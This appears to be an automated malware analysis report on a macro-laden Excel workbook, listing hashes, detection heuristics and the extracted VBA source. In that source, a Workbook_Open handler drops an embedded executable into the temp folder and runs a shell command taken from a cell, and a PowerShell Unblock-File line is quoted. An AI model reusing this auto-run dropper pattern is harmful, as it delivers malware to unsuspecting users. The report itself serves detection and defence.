Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3bca1997648eb70f…

MALICIOUS

Office (OOXML)

1.62 MB Created: 2013-08-23 07:41:56 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-11-23
MD5: 5fab2a427175d69f010acfd2caff68b0 SHA-1: 69657f55e9fdc505a3681c4e5df680aecb89a780 SHA-256: 3bca1997648eb70fd53abcfd9f5b1880b58daea9aa4c8b434790ebb81ace182b
444 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1059.003 Windows Command Shell

The Excel document contains VBA macros that are designed to download and execute a second-stage payload. Specifically, the 'OLE_VBA_BITSTRANSFER_DROPPER' heuristic indicates a download primitive, and the 'SE_LOLBIN_RUN_COMMAND' heuristic shows the execution of 'powershell -command "Unblock-File ($env:TEMP + "\SPD.dll")'. This suggests the macro is responsible for downloading and preparing the 'SPD.dll' file for execution, likely as part of a larger attack chain.

Heuristics 17

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Call Shell(cmnd, vbMinimizedFocus)
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Workbook_Open()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set fs = CreateObject("Scripting.FileSystemObject")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        Call Shell("cmd.exe /C pause")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        TempPath = Environ("temp")
  • Ole10Native package carries executable/script file type high OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in an executable or script-capable extension. Even without UI extension spoofing, embedding a runnable payload inside an Office document is a high-risk delivery pattern.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Embedded OLE object medium OOXML_OLE_OBJECT
    Document contains an embedded OLE object
  • External hyperlinks (2) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 2 external hyperlinks — clickable URLs are stored as external relationships. First target: https://finansco.sharepoint.com/Delte dokumenter/Finansco Gruppen Fellesmappe/Modellporteføljer/
  • External workbook data link low OOXML_EXTERNAL_REL_DATALINK
    External workbook reference in xl/externalLinks/_rels/externalLink1.xml.rels: /Users/EIRIKL~1/AppData/Local/Temp/Produktark MPF Kopi.xlsx
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 10 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://finansco.sharepoint.com/Delte Document hyperlink
    • https://finansco.sharepoint.com/Delte dokumenter/Finansco Gruppen Fellesmappe/Modellporteføljer/Document hyperlink
    • https://finansco-my.sharepoint.com/personal/espen_seidel_finansco_no/_vti_history/9728/Documents/FinanscoOOXML external relationship

Extracted artifacts 32

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 60935 bytes
SHA-256: faf8913a35df9ba7965d4823a51b97eeaaf3fe526d32419c7b6fe0fdd95c83b3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Option Explicit
Public memory As String
Public previous As String


Sub Print_ut()
ActiveSheet.Unprotect
Call resizeCHB
ThisWorkbook.RefreshAll
ActiveWindow.View = xlNormalView
ActiveWindow.Zoom = 100
' hide klassifisering
ActiveSheet.Range("kontroll").EntireRow.Hidden = True
' hide før investering og kontrollfunksjon
ActiveSheet.Range("klasse").EntireRow.Hidden = True
Application.Dialogs(xlDialogPrinterSetup).Show
ActiveSheet.PrintOut Preview:=True
ActiveWindow.View = xlNormalView
ActiveWindow.Zoom = 100
ActiveSheet.Range("kontroll").EntireRow.Hidden = False
ActiveSheet.Range("klasse").EntireRow.Hidden = False
ActiveSheet.Protect
Call resetallchb
End Sub

Public Sub resizeCHB()




End Sub
Sub placementCHB()

On Error Resume Next
Dim chb As Integer

For chb = 0 To 120
With ActiveSheet.Shapes("Checkbox" & chb)
.Placement = 2
End With
Next chb

End Sub
Sub runSavedResponses()

Dim myFile As String, text As String, textline As String, posLat As Integer, posLong As Integer
Dim siste As Worksheet
Dim count As Integer
    Dim myWS As Worksheet
    Dim OLEobj As OLEObject
    Dim zhape As Shape
    
    'you could easily set a for/each loop for all worksheets
    Set myWS = Application.ActiveSheet

Set siste = ActiveWorkbook.Sheets("Ark2")

Dim fname As String

fname = Application.ActiveWorkbook.path & "\Sisteinputs.txt"

If fname = "False" Then Exit Sub

    With siste.QueryTables.Add(Connection:="TEXT;" & fname, _
        Destination:=siste.Cells(1, 1))
            .TextFileParseType = xlDelimited
            .TextFileColumnDataTypes = Array(xlTextFormat)
            .Refresh
            
    End With

count = 1


    With myWS
        For Each OLEobj In myWS.OLEObjects
            OLEobj.Left = Val(siste.Cells(0 + count, 1))
           OLEobj.Width = Val(siste.Cells(1 + count, 1))
           OLEobj.Height = Val(siste.Cells(2 + count, 1))
          OLEobj.Top = Val(siste.Cells(3 + count, 1))
           OLEobj.Object.Value = Val(siste.Cells(4 + count, 1))
         count = count + 5
        Next OLEobj
    End With

Close #1


End Sub

Sub savefileas()


Dim fdate As Date
Dim fname As String
Dim path As String

ThisWorkbook.RefreshAll
Application.ActiveWorkbook.Save
Application.ActiveWorkbook.SaveCopyAs Filename:=Application.ActiveWorkbook.path & "\Backup-" & ActiveSheet.Range("A6").Value & "-" & ActiveSheet.Range("C7").Value & ".xlsm"
Call resetallchb



End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub MergeFormatCell()
    Dim xSRg As Range
    Dim xRgEachRow As Range
    Dim xRgEach As Range
    Dim xRgVal As String
    Dim I As Integer
    Dim xRgLen As Integer
    Dim xSRgRows As Integer
    Dim xAddress As String
    On Error Resume Next
    xAddress = ActiveWindow.RangeSelection.Address
    Set xSRg = Application.InputBox("Please select cell columns to concatenate:", "KuTools For Excel", xAddress, , , , , 8)
    If xSRg Is Nothing Then Exit Sub
    xSRgRows = xSRg.Rows.count
    Set xDRg = Application.InputBox("Please select cell columns to concatenate:", "KuTools For Excel", xAddress, , , , , 8)
    Set xDRg = xDRg(1)
    For I = 1 To xSRgRows
        xRgLen = 1
        With xDRg.Offset(I - 1)
            .Value = vbNullString
            .ClearFormats
            Set xRgEachRow = xSRg(1).Offset(I - 1).Resize(1, xSRg.Columns.count)
            For Each xRgEach In xRgEachRow
                .Value = .Value & Trim(xRgEach.Value) & " "
            Next
            For Each xRgEach In xRgEachRow
                xRgVal = xRgEach.Value
                With .Characters(xRgLen, Len(Trim(xRgVal))).Font
                .Name = xRgEach.Font.Name
                .FontStyle = xRgEach.Font.FontStyle
                .Size = xRgEach.Font.Size
                .Strikethrough = xRgEach.Font.Strikethrough
                .Superscript = xRgEach.Font.Superscript
                .Subscript = xRgEach.Font.Subscript
                .OutlineFont = xRgEach.Font.OutlineFont
                .Shadow = xRgEach.Font.Shadow
                .Underline = xRgEach.Font.Underline
                .ColorIndex = xRgEach.Font.ColorIndex
                End With
                xRgLen = xRgLen + Len(Trim(xRgVal)) + 1
            Next
        End With
    Next I
End Sub

Sub RunAndSave()
    TempPath = Environ("temp")
    
    Set fs = CreateObject("Scripting.FileSystemObject")
    If Not fs.FileExists(TempPath & "\SPD.exe") Then
        Worksheets("Application").OLEObjects("exeFile").Copy
        CreateObject("Shell.Application").Namespace(TempPath).Self.InvokeVerb "Paste"
    End If

    DownloadFile
    
End Sub



Sub Test()
Dim importedSheets(7) As Variant
Dim I As Integer
I = 0

For A1 = 69 To 75
    If Worksheets("Validering").Cells(A1, 3).Value <> "FALSE" Then
        importedSheets(I) = Worksheets("Validering").Cells(A1, 3).Value
        I = I + 1
    End If
Next A1

End Sub


Sub DownloadFile()
    UserName = Sheets("Application").Range("B1").Value
    Pwd = Sheets("Application").Range("B2").Value
    Url = Sheets("Application").Range("B3").Value
    Filename = Sheets("Application").Range("B4").Value
    TempPath = Environ("temp")
    
    Worksheets("Config").Range("B7").Value = TempPath & "\" & Filename
    cmnd = Sheets("Application").Range("B6").Value
    Call Shell(cmnd, vbMinimizedFocus)
End Sub



Private Sub Workbook_Open()

On Error Resume Next
RunAndSave
Application.Wait (Now + TimeValue("0:00:3"))
FixFormula
Application.Wait (Now + TimeValue("0:00:1"))

Dim chb As Integer

For chb = 0 To 120
With ActiveSheet.Shapes("Checkbox" & chb)
.ScaleWidth 1.1, msoFalse, msoScaleFromTopLeft
.ScaleWidth 0.909091, msoFalse, msoScaleFromTopLeft
End With
Next chb

ActiveSheet.EnableFormatConditionsCalculation = True

' Sett memory lik verdi av memory før closing av workbook.
memory = Evaluate(ActiveWorkbook.Names("myVar1").RefersTo)

With Worksheets("Formuesplan").PageSetup
        .LeftHeader = ""
        .CenterHeader = ""
        .RightHeader = ""
        .LeftFooter = ""
        .CenterFooter = ""
        .RightFooter = ""
        .PrintQuality = 300
        .CenterHorizontally = True
        .CenterVertically = True
        .Orientation = xlPortrait
        .Draft = False
        .PaperSize = xlPaperA4
        .FirstPageNumber = xlAutomatic
        .Order = xlDownThenOver
        .BlackAndWhite = False
        .Zoom = False
        .FitToPagesWide = 1
        .FitToPagesTall = False
End With

Generate

End Sub

Private Sub Workbook_BeforeClose(Cancel As Boolean)

' Lagre memory verdien for når workbook åpnes igjen.
On Error Resume Next
ActiveWorkbook.Names.Add Name:="myVar1", RefersTo:=memory
End Sub



Private Sub Workbook_BeforePrint(Cancel As Boolean)
    'Cancel = True
    
End Sub
'Application.EnableEvents = True
'Application.ScreenUpdating = False
'Dim User As String
'User = Environ$("UserName")
'If User = "EIFUTV" Then User = "Eirik"
'If User = "PTTV" Then User = "Pål"
'If User = "FICHRARN" Then User = "Christian"
'If User = "fi-arnwil" Then User = "Arne-Morten"
'If User = "fi-stiand" Then User = "Stian"
'If User = "fi-tomlok" Then User = "Tom-Morten"

'If ActiveSheet.Range("klasse").EntireRow.Hidden = False Then
'MsgBox ("Hei, " & User & ". Skriv ut via <Utskrift>-seksjonen i regnearket, ikke via <Skriv Ut> i <Fil>-menyen. Vennligst trykk <OK> og du vil bli holdt i hånden helt frem til mål.")
'Call resizeCHB
'ActiveWindow.Zoom = 100
'ActiveSheet.Range("utskrift").Select
'End If
'Application.ScreenUpdating = True
'End Sub

Attribute VB_Name = "Ark6"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Ark2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "CheckBox46, 217, 20, MSForms, CheckBox"
Attribute VB_Control = "CheckBox68, 185, 21, MSForms, CheckBox"
Attribute VB_Control = "CheckBox67, 184, 22, MSForms, CheckBox"
Attribute VB_Control = "CheckBox66, 183, 23, MSForms, CheckBox"
Attribute VB_Control = "CheckBox64, 181, 24, MSForms, CheckBox"
Attribute VB_Control = "CheckBox63, 180, 25, MSForms, CheckBox"
Attribute VB_Control = "CheckBox62, 179, 26, MSForms, CheckBox"
Attribute VB_Control = "CheckBox61, 178, 27, MSForms, CheckBox"
Attribute VB_Control = "CheckBox60, 177, 28, MSForms, CheckBox"
Attribute VB_Control = "CheckBox59, 176, 29, MSForms, CheckBox"
Attribute VB_Control = "CheckBox58, 175, 30, MSForms, CheckBox"
Attribute VB_Control = "CheckBox57, 174, 31, MSForms, CheckBox"
Attribute VB_Control = "CheckBox50, 143, 32, MSForms, CheckBox"
Attribute VB_Control = "CheckBox37, 63, 33, MSForms, CheckBox"
Attribute VB_Control = "CheckBox32, 61, 34, MSForms, CheckBox"
Attribute VB_Control = "CheckBox31, 60, 35, MSForms, CheckBox"
Attribute VB_Control = "CheckBox26, 58, 36, MSForms, CheckBox"
Attribute VB_Control = "CheckBox9, 87, 37, MSForms, CheckBox"
Attribute VB_Control = "CheckBox10, 88, 38, MSForms, CheckBox"
Attribute VB_Control = "CheckBox11, 89, 39, MSForms, CheckBox"
Attribute VB_Control = "CheckBox12, 90, 40, MSForms, CheckBox"
Attribute VB_Control = "CheckBox13, 91, 41, MSForms, CheckBox"
Attribute VB_Control = "CheckBox14, 92, 42, MSForms, CheckBox"
Attribute VB_Control = "CheckBox2, 124, 43, MSForms, CheckBox"
Attribute VB_Control = "CheckBox4, 125, 44, MSForms, CheckBox"
Attribute VB_Control = "CheckBox5, 126, 45, MSForms, CheckBox"
Attribute VB_Control = "CheckBox6, 127, 46, MSForms, CheckBox"
Attribute VB_Control = "CheckBox7, 128, 47, MSForms, CheckBox"
Attribute VB_Control = "CheckBox8, 129, 48, MSForms, CheckBox"
Attribute VB_Control = "CheckBox15, 130, 49, MSForms, CheckBox"
Attribute VB_Control = "CheckBox16, 131, 50, MSForms, CheckBox"
Attribute VB_Control = "CheckBox17, 132, 51, MSForms, CheckBox"
Attribute VB_Control = "CheckBox18, 133, 52, MSForms, CheckBox"
Attribute VB_Control = "CheckBox19, 134, 53, MSForms, CheckBox"
Attribute VB_Control = "CheckBox20, 135, 54, MSForms, CheckBox"
Attribute VB_Control = "CheckBox29, 160, 55, MSForms, CheckBox"
Attribute VB_Control = "CheckBox33, 161, 56, MSForms, CheckBox"
Attribute VB_Control = "CheckBox34, 162, 57, MSForms, CheckBox"
Attribute VB_Control = "CheckBox35, 163, 58, MSForms, CheckBox"
Attribute VB_Control = "CheckBox51, 164, 59, MSForms, CheckBox"
Attribute VB_Control = "CheckBox52, 165, 60, MSForms, CheckBox"
Attribute VB_Control = "CheckBox53, 166, 61, MSForms, CheckBox"
Attribute VB_Control = "CheckBox54, 167, 62, MSForms, CheckBox"
Attribute VB_Control = "CheckBox55, 168, 63, MSForms, CheckBox"
Attribute VB_Control = "CheckBox56, 169, 64, MSForms, CheckBox"
Attribute VB_Control = "CheckBox69, 186, 65, MSForms, CheckBox"
Attribute VB_Control = "CheckBox39, 191, 66, MSForms, CheckBox"
Attribute VB_Control = "CheckBox40, 192, 67, MSForms, CheckBox"
Attribute VB_Control = "CheckBox41, 193, 68, MSForms, CheckBox"
Attribute VB_Control = "CheckBox42, 194, 69, MSForms, CheckBox"
Attribute VB_Control = "CheckBox43, 195, 70, MSForms, CheckBox"
Attribute VB_Control = "CheckBox44, 196, 71, MSForms, CheckBox"
Attribute VB_Control = "CheckBox45, 197, 72, MSForms, CheckBox"
Attribute VB_Control = "CheckBox47, 198, 73, MSForms, CheckBox"
Attribute VB_Control = "CheckBox48, 199, 74, MSForms, CheckBox"
Attribute VB_Control = "CheckBox21, 200, 75, MSForms, CheckBox"
Attribute VB_Control = "CheckBox22, 201, 76, MSForms, CheckBox"
Attribute VB_Control = "CheckBox23, 202, 77, MSForms, CheckBox"
Attribute VB_Control = "CheckBox27, 203, 78, MSForms, CheckBox"
Attribute VB_Control = "CheckBox28, 204, 79, MSForms, CheckBox"
Attribute VB_Control = "CheckBox24, 205, 80, MSForms, CheckBox"
Attribute VB_Control = "CheckBox49, 207, 81, MSForms, CheckBox"
Attribute VB_Control = "CheckBox1, 208, 82, MSForms, CheckBox"
Attribute VB_Control = "CheckBox30, 211, 83, MSForms, CheckBox"
Attribute VB_Control = "CheckBox36, 212, 84, MSForms, CheckBox"
Attribute VB_Control = "CheckBox38, 213, 85, MSForms, CheckBox"
Attribute VB_Control = "CheckBox70, 231, 86, MSForms, CheckBox"
Attribute VB_Control = "CheckBox71, 232, 87, MSForms, CheckBox"
Option Explicit
Private Sub printAllActiveXSizeInformation()
    Dim myWS As Worksheet
    Dim OLEobj As OLEObject
    Dim obName As String
    Dim shName As String
    Dim zhape As Shape
    
    'you could easily set a for/each loop for all worksheets
    Set myWS = ActiveWorkbook.Sheets("Investeringsforslag")
    
    
    shName = myWS.Name

    Dim mFile As String
    mFile = Application.ActiveWorkbook.path & "\Sisteinputs.txt"

    Open mFile For Output As #1
    With myWS
        For Each OLEobj In myWS.OLEObjects
            obName = OLEobj.Name
            Print #1, Replace(CStr(OLEobj.Left), ",", ".")
            Print #1, Replace(CStr(OLEobj.Width), ",", ".")
            Print #1, Replace(CStr(OLEobj.Height), ",", ".")
            Print #1, Replace(CStr(OLEobj.Top), ",", ".")
            Print #1, Replace(CStr(OLEobj.Object.Value), ",", ".")


        Next OLEobj
    End With
    Close #1
    
    Shell "NotePad " + mFile

End Sub

Private Sub printAllActiveXSizeInformation2()
    Dim myWS As Worksheet
    Dim OLEobj As OLEObject
    Dim obName As String
    Dim shName As String
    Dim zhape As Shape
    
    'you could easily set a for/each loop for all worksheets
    Set myWS = ActiveWorkbook.Sheets("Investeringsforslag")
    
    
    shName = myWS.Name

    Dim mFile As String
    mFile = Application.ActiveWorkbook.path & "\Sisteinputs.txt"

    Open mFile For Output As #1
    With myWS
        For Each OLEobj In myWS.OLEObjects
            obName = OLEobj.Name

            Print #1, "'" + obName
            Print #1, shName + "." + obName + ".Left=" + Replace(CStr(OLEobj.Left), ",", ".")
            Print #1, shName + "." + obName + ".Width=" + Replace(CStr(OLEobj.Width), ",", ".")
            Print #1, shName + "." + obName + ".Height=" + Replace(CStr(OLEobj.Height), ",", ".")
            Print #1, shName + "." + obName + ".Top=" + Replace(CStr(OLEobj.Top), ",", ".")
            Print #1, shName + "." + obName + ".Top=" + Replace(CStr(OLEobj.Object.Value), ",", ".")
            Print #1, "ActiveSheet.Shapes(""" + obName + """).ScaleHeight 1.25, msoFalse, msoScaleFromTopLeft"
            Print #1, "ActiveSheet.Shapes(""" + obName + """).ScaleHeight 0.8, msoFalse, msoScaleFromTopLeft"


        Next OLEobj
    End With
    Close #1
    
    Shell "NotePad " + mFile

End Sub

Private Sub CheckBox30_Click()

End Sub

Private Sub CheckBox60_Change()

End Sub

'GRAFER:
' finansiering
Private Sub CheckBox66_Click()
ActiveSheet.Unprotect
Dim Finans As Range
Set Finans = ActiveSheet.Range("Finans")

If CheckBox66.Value = True Then
Finans.EntireRow.Hidden = False
CheckBox68.Value = False
Else
Finans.EntireRow.Hidden = True
    If CheckBox66.Value = False And CheckBox64.Value = False Then
    CheckBox68.Value = True
    End If
End If

ActiveSheet.Protect
End Sub

' totaløkonomi
Private Sub CheckBox64_Click()
ActiveSheet.Unprotect
Dim Total As Range
Set Total = ActiveSheet.Range("Total")

If CheckBox64.Value = True Then
Total.EntireRow.Hidden = False
CheckBox68.Value = False
Else
Total.EntireRow.Hidden = True
    If CheckBox66.Value = False And CheckBox64.Value = False Then
    CheckBox68.Value = True
    End If
End If

ActiveSheet.Protect
End Sub

'Ingen grafer
Private Sub CheckBox68_Click()
ActiveSheet.Unprotect
Dim Ingen As Range, Topp As Range, Borde As Range
Set Ingen = ActiveSheet.Range("Ingen")
Set Topp = ActiveSheet.Range("Topp")
Set Borde = ActiveSheet.Range("Borde")

If CheckBox68.Value = True Then
Ingen.EntireRow.Hidden = True
CheckBox64.Value = False
CheckBox66.Value = False
Else
Topp.EntireRow.Hidden = False
Borde.EntireRow.Hidden = False
End If

ActiveSheet.Protect
End Sub

'KOSTNAD:
Private Sub CheckBox67_Click()
ActiveSheet.Unprotect
Dim Kost As Range
Set Kost = ActiveSheet.Range("Kost")

If CheckBox67.Value = True Then
Kost.EntireRow.Hidden = False
Else
Kost.EntireRow.Hidden = True
End If

ActiveSheet.Protect
End Sub

'Månedlig sparing:
Private Sub CheckBox63_Click()
ActiveSheet.Unprotect
Dim Mnd As Range
Set Mnd = ActiveSheet.Range("mnd")

If CheckBox63.Value = True Then
Mnd.EntireRow.Hidden = False
Else
Mnd.EntireRow.Hidden = True
End If
ActiveSheet.Protect
End Sub

'VELG SIDER:
' Situasjon
Private Sub CheckBox57_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("sit")
s = PageSetup.PrintArea

    If CheckBox57.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
    PageSetup.PrintArea = ""
CheckBox58.Value = False
CheckBox59.Value = False
CheckBox60.Value = False
CheckBox61.Value = False
CheckBox62.Value = False
CheckBox69.Value = True
    End If
End Sub
' Kunnskap og erfaring
Private Sub CheckBox58_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("kun")
s = PageSetup.PrintArea

    If CheckBox58.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
PageSetup.PrintArea = ""
CheckBox57.Value = False
CheckBox59.Value = False
CheckBox60.Value = False
CheckBox61.Value = False
CheckBox62.Value = False
CheckBox69.Value = True
    End If
End Sub
' Investeringsforslag
Private Sub CheckBox59_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("inv")
s = PageSetup.PrintArea
    If CheckBox59.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
PageSetup.PrintArea = ""
CheckBox57.Value = False
CheckBox58.Value = False
CheckBox60.Value = False
CheckBox61.Value = False
CheckBox62.Value = False
CheckBox69.Value = True
    End If
End Sub
'Etter investering
Private Sub CheckBox60_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("ett")
s = PageSetup.PrintArea
    If CheckBox60.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
PageSetup.PrintArea = ""
CheckBox57.Value = False
CheckBox58.Value = False
CheckBox59.Value = False
CheckBox61.Value = False
CheckBox62.Value = False
CheckBox69.Value = True
    End If
End Sub
' Godkjenning
Private Sub CheckBox61_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("god")
s = PageSetup.PrintArea
    If CheckBox61.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
PageSetup.PrintArea = ""
CheckBox57.Value = False
CheckBox58.Value = False
CheckBox59.Value = False
CheckBox60.Value = False
CheckBox62.Value = False
CheckBox69.Value = True
    End If
End Sub
' Appendix
Private Sub CheckBox62_Click()
Dim Rng As Range, s As String, newstring1 As String
Set Rng = Range("app")
s = PageSetup.PrintArea
    If CheckBox62.Value = True Then
    newstring1 = s & "," & Rng.Address(1, 1)
        If Left(newstring1, 1) = "," Then newstring1 = Mid(newstring1, 2)
        newstring1 = Replace(newstring1, ";", ",")
        PageSetup.PrintArea = newstring1
        CheckBox69.Value = False
    Else
PageSetup.PrintArea = ""
CheckBox57.Value = False
CheckBox58.Value = False
CheckBox59.Value = False
CheckBox60.Value = False
CheckBox61.Value = False
CheckBox69.Value = True
    End If
End Sub

' Ingen sider
Private Sub CheckBox69_Click()

If CheckBox69.Value = True Then
If CheckBox57.Value = False And CheckBox58.Value = False And CheckBox59.Value = False And CheckBox60.Value = False And CheckBox61.Value = False And CheckBox63.Value = False Then
PageSetup.PrintArea = ""
End If
End If

End Sub

' Endre på om checkboxer i ønske om aksjeandel er på eller av
Private Sub Worksheet_Calculate()
Dim A1 As Range
Set A1 = Range("port")
Debug.Print A1.Value & "VALUE BEFORE"
If A1.Value = "" Then
    memory = A1.Value
    Debug.Print A1.Value & " EMPTY"
    Exit Sub
End If

If A1.Value = memory Then
    Debug.Print A1.Value & "SAME"
    Exit Sub
End If

Debug.Print A1.Value & "VALUE AFTER"
memory = A1.Value
'Application.EnableEvents = False

Dim x As Range
Set x = Worksheets("Ark1").Range("verdi")

    Dim CB_SL As OLEObject
    Set CB_SL = Worksheets("Investeringsforslag").OLEObjects("CheckBox52")
    Dim CB_L As OLEObject
    Set CB_L = Worksheets("Investeringsforslag").OLEObjects("CheckBox53")
    Dim CB_M As OLEObject
    Set CB_M = Worksheets("Investeringsforslag").OLEObjects("CheckBox54")
    Dim CB_H As OLEObject
    Set CB_H = Worksheets("Investeringsforslag").OLEObjects("CheckBox55")
    Dim CB_SH As OLEObject
    Set CB_SH = Worksheets("Investeringsforslag").OLEObjects("CheckBox56")
    
    Debug.Print x.Value & " MATRISE"
    
    If x = 7 Then
    CB_SL.Enabled = False
    CB_L.Enabled = False
    CB_M.Enabled = False
    CB_H.Enabled = False
    CB_SH.Enabled = False
    End If
    
    If x = 2 Then
    CB_SL.Enabled = True
    CB_L.Enabled = True
    CB_M.Enabled = True
    CB_H.Enabled = True
    CB_SH.Enabled = True
    End If
    
    If x = 3 Then
    CB_SL.Enabled = True
    CB_L.Enabled = True
    CB_M.Enabled = True
    CB_H.Enabled = True
    CB_SH.Enabled = False
    End If
    
    If x = 4 Then
    CB_SL.Enabled = True
    CB_L.Enabled = True
    CB_M.Enabled = True
    CB_H.Enabled = False
    CB_SH.Enabled = False
    End If
    
    If x = 5 Then
    CB_SL.Enabled = True
    CB_L.Enabled = True
    CB_M.Enabled = False
    CB_H.Enabled = False
    CB_SH.Enabled = False
    End If
    
    If x = 6 Then
    CB_SL.Enabled = True
    CB_L.Enabled = False
    CB_M.Enabled = False
    CB_H.Enabled = False
    CB_SH.Enabled = False
    End If

    With Worksheets("Validering").Range("risiko")
    .Value = False
    End With
    
'Application.EnableEvents = True
End Sub


Attribute VB_Name = "Module2"
' Betinget formatering, vis celler som er låste:
'=CELLE("Beskytt";INDIREKTE(ADRESSE(RAD();KOLONNE())))=1

Sub resetallchb()
ActiveSheet.Unprotect
Dim chb As OLEObject
Dim chng As Integer

' ORGINALPOSISJON TIL FØRSTE CHB - HVIS DET ER EN ENDRING VIL ARKET SETTES TILBAKE TIL DEFAULT:
chng = ActiveSheet.OLEObjects("CheckBox30").Top - Range("grunnskole").Top

'If chng = 0 Then Exit Sub

'MsgBox ("En bug i Investeringsforslaget er oppdaget og reparert. Vennligst se gjennom arket for å forsikre deg om at alt er som det skal. Takk.")

On Error Resume Next
Dim chbx As OLEObject

ActiveWindow.View = xlNormalView
ActiveWindow.Zoom = 120

For Each chbx In ActiveSheet.OLEObjects
With chbx.ShapeRange
.ScaleWidth 1.1, msoFalse, msoScaleFromTopLeft
.ScaleWidth 0.909091, msoFalse, msoScaleFromTopLeft
End With
Next chbx

Sheets("Investeringsforslag").CheckBox57.Value = True
Sheets("Investeringsforslag").CheckBox58.Value = True
Sheets("Investeringsforslag").CheckBox59.Value = True
Sheets("Investeringsforslag").CheckBox60.Value = True
Sheets("Investeringsforslag").CheckBox61.Value = True

Sheets("Investeringsforslag").CheckBox63.Value = True
Sheets("Investeringsforslag").CheckBox64.Value = True
Sheets("Investeringsforslag").CheckBox66.Value = True
Sheets("Investeringsforslag").CheckBox67.Value = True

